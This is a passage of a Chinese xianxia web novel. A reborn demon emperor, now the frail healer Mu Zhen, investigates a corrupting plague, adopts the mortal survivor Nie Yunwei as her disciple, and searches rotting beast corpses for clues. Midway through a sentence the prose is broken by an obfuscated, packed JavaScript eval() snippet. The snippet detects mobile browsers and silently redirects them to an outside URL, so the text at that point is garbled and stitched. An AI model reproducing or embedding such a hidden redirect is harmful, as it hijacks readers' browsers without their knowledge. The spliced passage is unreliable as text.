黑蚀疫是什么? 这问题问全修真界的人,恐怕也未必能得到一个确切的答案。因为自几千年起,黑蚀疫就已经是九州大陆令人闻之色变的疑难杂症。 起初的时候,只有个别凡人染上这种怪病。他们浑身疼痛,高烧不止,皮肉腐烂,会在短短几天的时间里就从活人丧失理智,变成一具行尸走肉。 到后来,这种疾病开始以地区为单位大范围地爆发。 它就像瘟疫一般,常常在一大片区域突然爆发,一旦出现,当地的植物会全部枯死,地面呈现黑色,所有生物失去生机,化作行尸走肉,故而得名。 不光如此,黑蚀疫的出现没有任何规律,就像是洪涝、地震、海啸、火山喷发一样,只要出现,就会迅速吞噬一片地区,让这里沦为生灵涂炭的荒芜之地。不论是多么繁华的城市、多么富饶的土地,都会在一夜之间变成废墟和荒土。 这就是黑蚀疫。 有人说,它是被驱逐出境、祖祖辈辈再也见不到阳光的魔族留给人界的诅咒。 黑蚀疫是什么?慕蓁也无法回答这个问题。它太过复杂了,不是短短几句话就能解释明白的,尤其是在她脑子不太清醒的当下。 于是慕蓁刚要开口,就一头倒在了床铺上,干脆利落地昏过去了。 大概是因为病中的缘故,这一觉,她睡得并不安稳。 对时间的感知被无限拉长,这种感觉就像是她身死之后、重生之前,她的灵魂在时间与空间里漫无目的地游荡,她感觉不到时间的流逝,也感知不到自己的存在。 她成为了空气,成为了时间与轮回的一部分,似乎无处不在,又似 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无数陌生的声音,将言语一字一句如长针般扎进她的耳朵里,最后一句话宛如落入沸水的一滴滚油,猛地在她的大脑里炸开。 “魔——皇——陨——了——” 慕蓁猛地惊醒了。 她以为自己会睡上很久,没想到睁眼的时候,天甚至都还没亮。 窗外的雨不知何时已经停了,后颈处的滚烫感仿佛还停留在她的身体里,尚未随着梦境的淡忘而消散。 重生给她带来了一具不健康的身体,似乎还剥夺了她睡上一个好觉的权利。慕蓁头痛欲裂,浑身酸软,活像昨天被十几个人打了一顿似的,却怎么也没法再睡着,只好认命地把自己从床上拔了起来,往里屋的方向走。 刚一脚踏进里屋,她就吓了一大跳。 屋里除了患者都安置在草席上之外,其他地方都四仰八叉地躺满了剑修,睡姿简直是横七竖八、各有千秋,要不是有人的鼾声比雷都响,她差点以为是凶案现场。 慕蓁:“……” 她记得昨夜她昏睡过去之前,好像交代了这些剑修弟子轮值照顾伤患。 这算哪门子轮值。轮流睡觉? 她试探着伸脚,轻轻踹了踹身体卡在门口的一名男剑修。 对方纹丝不动,睡得非常安详。 慕蓁叹了口气。 前些天他们一直四处奔忙,昨夜又忙着配合她安置伤患,每个人都累得几乎瘫痪,就这种情况,他们还把外屋的床铺让给了她。 她还能说什么呢? 幸好,就在这时候,屋外终于传来了人声。 在惊心动魄的雷鸣中,迟简风风火火地带着药王谷的医修破门而入,一嗓子把地上所有的人全都喊醒了:“师姐,我带着十年的两仪双生莲回来了!” 睡懵了的剑修们都用一种见鬼的表情看着他,像是在怀疑自己是不是因为过劳而猝死,已经先一步飞升上天庭了。 修界研究了上万年,都没能找到能根治黑蚀疫的方法,目前在修真界已知的医药学知识中,能够勉强抵抗黑蚀疫的草药也只有一种:两仪双生莲。 这种灵植只会在灵力极其充裕的地方生长,数量稀少,并且通常存活时间不会超过一年,在整个修真界都是可遇而不可求的无价之宝。即使是九州唯一的医修驻地药王谷,总共也没有几株。 但迟简竟然一口气捎了好几棵十年的两仪双生莲。 这是什么概念? 相当于他搬了一整座灵石山进来。 药王谷的医修们接手了慕蓁的工作,给每个患者上药和治疗。他们把那些碾碎了的白色花瓣敷在患者伤口上时,表情都像是把金子成堆地撒进大河里一样心疼。 十年两仪双生莲的药效远比普通双生莲强悍,一直藕断丝连的黑蚀疫不多时就彻底没了痕迹,患者的伤口也终于在几个药王谷医修的治疗下渐渐愈合。并且由于昨天应对及时,黑蚀疫并没有影响到他们的灵脉。 连日阴霾总算一扫而空,剑修们一片欢声笑语,雨过天晴,皆大欢喜。 慕蓁把迟简拉到一边,诧异:“灵隐山什么时候有十年的两仪双生莲了?” “是大师兄带回来的。”迟简说,“说来也巧,他昨日才从蜀州回来。” 蜀州。又是蜀州。 这是慕蓁这些天第二次听见这个词了,袭击剑修小队的兽潮,也是从蜀州过来的。 “师兄现在在灵隐山吗?”她问。 迟简摇头:“他刚回来就走了,听说是白帝城那边的人催他回去。” 慕蓁没说话。 过了一会儿,她才对迟简道:“我有事要问你。” 迟简连忙正襟危坐:“师姐请问。” 慕蓁微微笑了一下,表情和善且温柔:“你为什么要在雷雨天御剑?” 迟简:“……” 这金丹期的剑修毫不犹豫地选择了滑跪:“师姐,我错了。” 5. 栖霞村「05」 一天之后,众人就再次启程,返回了灵隐山。 被他们一道带回来的那个少年,则被暂时安置在了灵隐山脚下的一间小屋内。 而慕蓁刚回到灵隐山,就不出所料地病倒了,在床上躺了两天没能起来。 眼下她的精神才稍微好了一些,正坐在自己的床上,裹着两床棉被,左手捧着个碗,一口一口地抿着药汤;右手里攥着一支笔,正在一卷羊皮纸上写写画画。 羊皮纸上赫然是整个九州大陆的地图,中州作为面积最大的一个州,就坐落在大陆的中心。而在这卷羊皮纸上,中州的西南方向被画上了许多个红圈。 倘若有心者来看,必然会发现这些红圈恰好都是最近几个月中州出现过黑蚀疫的地点。远远看去,大小不一的红圈连成一片,竟有几分触目惊心,仿佛燎原星火一般。 那天从执事堂回来,她就记住了任务记录上关于黑蚀疫爆发的详细信息,包括时间和地点。如今终于有空闲将这些信息整理起来,果然发现了问题。 手上的药苦得舌尖发麻,她皱着眉头将浓稠的液体往喉咙里灌,问身边的迟简:“关于其他州黑蚀疫的情况,你打听到什么了吗?” “打听过了。”迟简坐在她的床边说道,“今年仙盟记录在册的黑蚀疫数量中,蜀州爆发的黑蚀疫最多,其次才是中州,而且几乎都集中在最近两个月。” 慕蓁搁了笔,若有所思。 蜀州果然不对劲。 不光如此,与蜀州相邻的中州,爆发黑蚀疫的地区几乎都集中在西南,也就是两州接壤的位置。 “我们带回来那个人呢?”她问道。 她说的自然是栖霞村的那名少年。 如今的修真界已经通过灵网科技基本走上了信息化时代,每一个生活在人界的公民身份都会登记在册,想要查一个人的背景并不困难。因此他们回灵隐山不久,他的个人信息就被调查了出来。 此人名叫聂云嵬,是名孤儿,无父无母,只有一位祖母抚养他长大,而祖母也在他十岁的时候就已经寿终正寝。之后,他在山村里孑然一身生活了五年。 目前看来,聂云嵬是这次整片受黑蚀疫影响的地区当中唯一一名幸存者。 聂云嵬。 她在心中咂摸了一下这个名字,不知怎的琢磨出些许奇异的感受。 “长老们已经决定让他去测灵根了。”迟简说,“他的年龄也合适,如果灵根不错,可以等到两个月后让他进青云书院。” 慕蓁并不意外。 修士体内的灵力比起凡人更加充沛,对黑蚀疫有天然的抗性。也因此,凡人几乎无法在大范围爆发的黑蚀疫中活下来,灵力充沛的修士却可以。 这少年作为黑蚀疫的幸存者,不论是谁,都会怀疑他有灵根。 慕蓁喝着药汤道:“什么时候测灵根?” 迟简:“明天。” 慕蓁一惊,差点被药汤呛死:“咳咳咳……这么快?测灵根不是很大阵仗吗?” 迟简一边说,一边轻轻拍着慕蓁的后背,给她顺气:“师姐,你身体本来就不好,这两天还淋了雨,真的该好好休息一阵子了。” 慕蓁手里捧着碗,情不自禁地发了一会儿呆。 先前在山外忙碌时还不觉得,如今静下心来,听他一阵一阵的唠叨,一下子竟有种恍若隔世的感觉。 ……也不能说是恍若,毕竟他们是真的隔世了。 前世她这位师弟,在她死后怎么样了来着? 还没回忆出个所以然,下一秒迟简便把话头续上了:“姜汤我也煮了不少,一会和粥一起拿过来。” 慕蓁顿时露出悲戚的神情:“能不能不喝白粥?我想吃肉。” “不行,风寒的病人不能吃得太油腻。”迟简严肃地说,“师姐,你是医修,这个道理你应该比我懂。” “你可真是我的好师弟。”慕蓁往床上一瘫,生无可恋,“快滚吧。” 她堂堂一个叱咤风云的魔皇,现在愣是成了个病西施,连肉都吃不上。要是说给前世她的下属听,高低要被嘲笑三日三夜。 “等师姐的病好了,想吃什么都行。”迟简宽慰她,“我亲自下厨。” 慕蓁郁郁的神色这才缓和了一些:“我要吃宫保鸡丁和红烧肘子。” 迟简笑道:“好。” 自然,因为卧病在床,第二天聂云嵬测灵根的现场她也没有去。 不过,不需要她到场,在测灵根结束的第一时间,灵隐山的论坛上就已经出现了相关的帖子。 躺在床上刷玉简的慕蓁点开了那条帖子。有人用留影石直接记录下了当时的景象,并且发在了论坛上,只见玉简一亮,留影石里的录影就直接投映在了慕蓁的面前。 留影者是从聂云嵬的背后拍摄的,这个角度看去,只能看见少年瘦削却挺拔的脊背,薄薄地支撑着一件已经洗得陈旧的外衫,颇有种形销骨立的味道。他在众人的注视下走上了扶桑广场,来到测灵石的身边,伸出手。 一秒,两秒,三秒。 整整十秒过去了,测灵石没有任何反应,周围人的议论声逐渐变大。 修真界按照灵力的先天浓厚程度,给每个人的天赋划分了等级,满十级为先天满灵力,也称之为天灵根;一级和不足一级的,就被称为废灵根,譬如慕蓁。 而零级,也就是完全不具备先天灵力的,就是凡人。 测灵石毫无反应,没有任何亮起的迹象,毫无疑问昭示着一点——聂云嵬就是一个凡人。 没有灵根,彻头彻尾、没有一丝可能与修道沾边的凡人。 视频中看不见聂云嵬的神情,但慕蓁大概能猜到,他的表情一定是平静到极点的,就像是他面对着整个栖霞村的沦陷时一般。 整个帖子下面都是失望的评论,大多数人在此之前都在猜测聂云嵬的灵根是什么等级,万万没想到,他连灵根也没有。 一瞬间,所有人都对聂云嵬失去了兴趣,只剩下了怜悯和同情。他们在论坛里感叹他孤苦的身世和多舛的命运,感叹他竟是如此幸运,竟然受上天庇佑,在那场灾难中活了下来。 慕蓁百无聊赖地刷着玉简,反复将那留影石中的影像进度条拉来拉去,连迟简什么时候进了屋都没有发现。 “师姐?”迟简端着煎好的药走进来,见她一副若有所思的模样,好奇道,“怎么了?” “迟简啊,”慕蓁说,“你觉不觉得,咱们清静峰最近有点儿冷清?” 迟简:“……?” 不知为何,他有种不太好的预感。 · 对于灵隐山众人的种种议论,聂云嵬并无看法。 他既不留恋栖霞村,对成为一名修士也没有什么兴趣,他只是一个刚刚无家可归的人而已,对于虚无缥缈的未来,他以前从未想过,现在同样毫无头绪。 既然测完了灵根,与修真无缘的他不久后就会被送下山去。修真界不管凡人生死,失去了落脚处的他今后要如何谋生,就不是他们要考虑的事情了。 有时间在意旁人的看法,不如想想以后他要何去何从。 聂云嵬识趣地收拾好了包裹,等着第二天早上灵隐山的弟子敲开他的门,让他滚蛋。 第二日,灵隐山的弟子果然来敲门了。 他看了一眼聂云嵬的包裹,似乎有些意外:“你收拾得倒快……走吧,跟我上山。” 聂云嵬愣了一下,险些以为自己听错了:“去哪?” “上山。”那人不耐烦地重复了一遍,“有人说愿意收你为徒。" 聂云嵬一头雾水地跟着接引他的弟子进了灵隐山。 山门的路很长,生满了青苔的石阶一眼望不到头。聂云嵬第二次走这条路,跟在接引弟子的身后,从山脚下一步步拾阶而上。 途中路过无数人,看见他时都露出微妙神色,低声交头接耳。 “慕蓁师姐真的要收他为徒?可是现在已经过了灵隐山的弟子选拔期了,而且这还是个凡人……” “嗐。你又不是不知道,她做出什么事都不出奇。” 接引弟子忽然开口:“到了。” 他侧身一让,只见漫长的青石阶尽头终于豁然开朗,石砖铺就的小路一路在开阔的广场上方延伸,最终通向了一栋四方斜顶的楼阁。 楼阁上书三个大字,长老殿。 接引弟子转身就御剑而去,眨眼之间,原地只剩下了聂云嵬一个人。 他定定地看了一眼面前的建筑,抬脚走了进去。 长老殿不知道是用什么材料建造的,隔音极好,在屋外时几乎听不见任何声音,然而当聂云嵬推门进去的时候,一只茶杯咻的一下从他的头顶上飞过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347516|199540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摔在地上砸了个粉碎。一声劈头盖脸的大骂,在他打开门的瞬间仿佛炎夏的热浪一般扑面而来:“慕蓁,你仗着你师尊如此目无尊长,简直放肆!” 聂云嵬转过头看了一眼已经粉身碎骨的茶杯——他自山野乡间长大,并不认得这具体是什么瓷器,但从杯子碎片的光滑玉润来看,价值应该不菲。 大厅内围坐着数个看上去德高望重的长老,此时脸色都很难看,不是气得怒发冲冠,就是面如菜色。 慕蓁就坐在他们的面前。 从聂云嵬的角度,只能看见一小块光洁的侧脸,如扇子一般卷翘又纤长的睫毛。流瀑似的长发编作三股辫挂在右肩头,几枚红色簪花点缀其中,悄然点亮了一个鲜活又灵气的少女剪影。 似乎是察觉到他的到来,她微微侧目,朝门口的他轻轻眨了一下右眼,鬓边流苏晃动。 鲜妍,明媚,生机勃勃,像是盛放到了极致、热烈得正好的一株花树。 只是不知为何,明明是七月盛夏,她身上却严严实实地裹了好几层厚实的外袍,巴掌大的小脸透着一种病态的苍白。听长老训话时她半垂着眼,睫羽的阴翳描绘过轻薄的眼皮,又叫人觉得她身上有一种说不出来的懒散和厌倦。 长老们孜孜不倦地训斥着,简直发挥了他们文化水平的毕生所长,什么离经叛道、大逆不道、嚣张跋扈,四字成语一个接一个往外蹦。看得出来,他们对慕蓁的不满早就不是一天两天了。 “慕蓁,”一名冷着脸的长老开口说道,“现在根本不是灵隐山的弟子选拔时间,就算你现在执意让人入学,他进了书院,也跟不上旁人的进度。” 慕蓁:“没关系,我自己教。” 长老一拍桌子:“你教?你一个炼气阶,怎么教?!” 慕蓁:“我是炼气阶,他是凡人,我们俩不就是正正好天生一对师徒?” 长老们显然觉得她不可理喻:“好,就算你能教,可放眼整个修真界,断没有不及元婴就收徒的先例,更何况灵根测试已出,他是一个凡人,如何能上灵隐山?难道你指望一个凡人能够修炼吗!” 这句话显然点燃了其他长老的怒火,旁人纷纷附和,搬出灵隐山的宗门守则,说凡人断没有能住进灵隐山,和其他人一同修炼的道理。 “规矩是死的,人是活的。”慕蓁歪着脑袋一笑,“敢问各位长老,我乃剑尊座下弟子,我的事情应该由谁管辖?” 长老们面面相觑。 灵隐山有着非常森严的规章制度,灵隐山没有宗主,由长老殿和执事堂共同管辖,二者相辅相成,各司其职。但独有一个人游离在制度之外,那就是鼎鼎大名的折梅剑尊。 剑尊座下弟子虽然平日里和其他弟子一同修行,但行事从来不受门派管辖,而是由剑尊单独负责。 所以,尽管非常不愿意承认,但事实就摆在面前,也容不得他们否定,只能从牙缝里挤出话语道:“剑尊乃灵隐山之首,不归长老殿和执事堂管辖。你是剑尊弟子,你的事自有剑尊负责。” 慕蓁说:“哦,那我师尊有说不同意吗?” 长老们:“……” 当然没有。 折梅剑尊已经闭关至少二十年了,说个屁。 “既然没有,那这事儿就这么说定了。我保证,书院一切照旧,不会影响任何弟子的修行。”慕蓁拍拍手,回过头看向门口,“不说了,我徒弟来了,我该走了。” 说完,她就转身朝聂云嵬走来,丢下一众对她的背影吹胡子瞪眼却无可奈何的长老,笑眯眯地说:“走,你第一天上山,我带你去清静峰。” 这一瞬间,聂云嵬以为自己出现了幻觉。他甚至想,一切或许从来都没有发生过,他早就和村子里的其他人一样死在了那场天灾下,而眼前的一切都只是他临死之前的幻想。 慕蓁离开长老殿时,身后还回响着长老们气急败坏的几句“嚣张跋扈”“不可理喻”。她好像早就习惯了似的,左耳朵进右耳朵出,心安理得地带着聂云嵬往外走。 连日暴雨后的中州不复盛夏的炎热,充盈着湿润水汽的空气透着一丝凉意,少女裹了裹身上的外袍,对聂云嵬说道:“抱歉,临时做了决定,没来得及问你的意见,我想正式再问一遍。” 她向着他笑了一下,宛如春月桃夭盛放,刹那间清风失色:“你愿不愿意当我徒弟?” 6. 灵隐山「01」 斜阳如血,夕光残照。 御兽宗的大门内,不断有人抬着担架走出,不知道是谁行走的时候颠簸了一下,触目惊心的白布下露出一只青灰可怖的手。 地面已经经过了一轮洗刷,脏污的血色被冲进了石砖缝里,但仍然有残留的皮肉组织和血液顽固地粘在地面上,大水一冲,黄黄褐褐的一片,反倒显得更诡异了。 来往的修士们身穿仙盟统一定制的纯白法袍,各司其职,抬尸体的抬尸体,扫地的扫地,清点人口的清点人口。只不过越是清点,就越是让人心惊。 “核验完了吗?”一名修士问负责清点人口的同伴,“这……这都抬出来几十个了吧?” 那人看了一眼大门口仿佛抬不完一般的担架队伍,脸色也很难看:“没有,有的尸体腐烂时间太长了,已经看不清面容了,只能从他们身上的遗物来辨认身份。你问问上头,能不能再调拨点人手过来,否则这个工作量,我们做到明天也做不完。” 话音刚落,一名修士朝着他们的方向走来。 他的五官实在生得优越,一身白袍仿佛天生长在他身上一般合适,素衣白裳衬得他整个人像山巅的雪,疏离又清冷。两名仙盟修士都不约而同地停了话语,向他行礼:“夙秋师兄。” 来人没有太多寒暄,只问道:“尸体数量清点完了吗?” “清点完了,一共一百零一人。”修士回答他,“应该还有几名外出执行任务的弟子幸存,只是死者实在太多了,没法全部确认身份。” 一百多人的规模不算太大,在蜀州最多算得上是中等宗门,饶是如此,一个中等宗门一夕之间几乎全部灭门的,在九州也是闻所未闻。 夙秋“嗯”了一声,又问:“死因是什么?” 负责验尸的修士出乎意料地沉默了片刻。 “死者身上都出现了灵脉曲张的症状,并且,不少死者身上也有疑似其他同门留下的伤口。”半晌后,修士说道,“我们初步怀疑,造成御兽宗灭门的原因是……” “黑蚀疫?” 迟简手中拿着玉简,眉头紧皱,“师姐,你现在在哪?” 慕蓁的声音从话筒另一头传来,音色有些朦胧,仿佛泡在了水中:“在查你们之前遇到的兽潮。你之前的猜测是对的……遇到的不是普通野兽,是灵兽……” 声音实在太模糊,迟简听得费劲,忍不住问道:“师姐,你在做什么,怎么那边的声音这么模糊?” 慕蓁在玉简那头诡异地停顿了一秒,才回答他:“分尸。” 迟简:“……???” 慕蓁低下头,嫌弃地把自己的脚从尸体堆里拔出来。 地上七零八落地躺了不少兽尸,几天时间过去,野兽的尸体在夏季的高温下已经开始腐烂,皮毛和肉块自然剥离,尸水不断朝着地底下渗,不等慕蓁伸手碰到,就已经分解成了好几块。 怎么不算一种分尸呢。 中州七月的天气犹如孩子的心情,说变脸就变脸,前两日雷雨交加的天,现在已经出了太阳,连日阴霾的苍穹裂开一条缝,纡尊降贵地往地面施舍了点阳光。天气一热,空气里的味道就更令人难以言喻,雨后的土腥味和肉腐烂的气味混在一起发酵,林子里再一起风,简直是香飘十里。 慕蓁刚来的时候差点被这气味熏得魂飞魄散,不得不找了条丝巾绑在脸上,把口鼻遮得严严实实,这才能勉强让自己不被熏晕过去。 这里是剑修小队们遭遇兽潮的地方,距离爆发黑蚀疫的山谷只隔着小半座山头,也是中州的边缘地带,位置距离蜀州非常近。 剑修小队们当时没有烧掉尸体,但几天过去了,依然没有任何食肉和食腐的动物来享用这顿大自然馈赠的大餐。 这些兽尸肉眼看上去和寻常走兽并没有太大区别,但慕蓁只瞧了一眼便已笃定,迟简的猜测是正确的。 在她的视野中,每一条兽尸的身上都冒着犹如黑雾般的气体。它们像是滚烫池水中蒸腾的气泡,又像是强酸腐蚀地表时散发的滋滋烟气,周围的一圈植物和草木都已经泛起了不正常的黑。 慕蓁有一个很少人知道的能力。 她能够“看”见黑蚀。 说是“看”,是因为在她的感官里,黑蚀是有实体的。但实际上,感知到黑蚀的并不是她的眼睛,而是另一种无形的感官,就像是她的身上比常人多出了一双眼睛似的,她能用这个多出来的“器官”感知黑蚀的存在。 这是种很奇妙的感受,就像天生的瞎子无法明白拥有视力的人眼中的世界是什么样子,常人也永远无法理解她究竟是怎么“看”见黑蚀的。对慕蓁而言,观察黑蚀,就像普通人能够用眼睛观察世界一样稀松平常。 躺在这里的兽尸足有几十具,截止目前为止,慕蓁才检查完十具,一想到她还要和这么多烂了一半的尸体共处数个时辰,她就感到一阵对生活失去希望的头皮发麻。 她重生到底是要干什么来着? ……不管要干什么,肯定不是要在深山老林里面掏尸体。 “几十头灵兽?这不是小数目了。”迟简的声音也严肃起来,“能找到什么标记吗?” “我已经在找了。”慕蓁忍着反胃凑近每一个尸体,挨个用手扒拉它们脖颈处的皮毛和耳朵,“不然我来这是为了什么?” 通常而言,被豢养的灵兽大都会有人留下的标记,譬如项圈之类。 但这活儿干起来并不容易,许多尸体都已经腐烂,又被大雨连日不断地淋过,纵使皮毛上有什么痕迹,也已经和腐败的尸体一起,烂成了一堆肉酱肉泥。 “我要申请工伤赔偿。”慕蓁悲呼,“丧失嗅觉这种重大损害,灵隐山能赔多少灵石?” 才过去半个时辰不到,慕蓁的鼻子已经彻底麻木,什么也闻不到了。 她甚至怀疑在离开此地之后,自己的鼻腔以后会永久地留下这股味道,就连清洁术都清洁不干净的那种。 “师姐,别太勉强,你的病还没好,实在不行就算了,”迟简劝道,“只是一群灵兽而已,师姐何必如此较真?” 慕蓁摇着头叹息:“不行啊,我在找一个对我很重要的地方,这些灵兽现在是我唯一的线索了。” 迟简问:“什么地方?” 慕蓁叹气:“不知道。”

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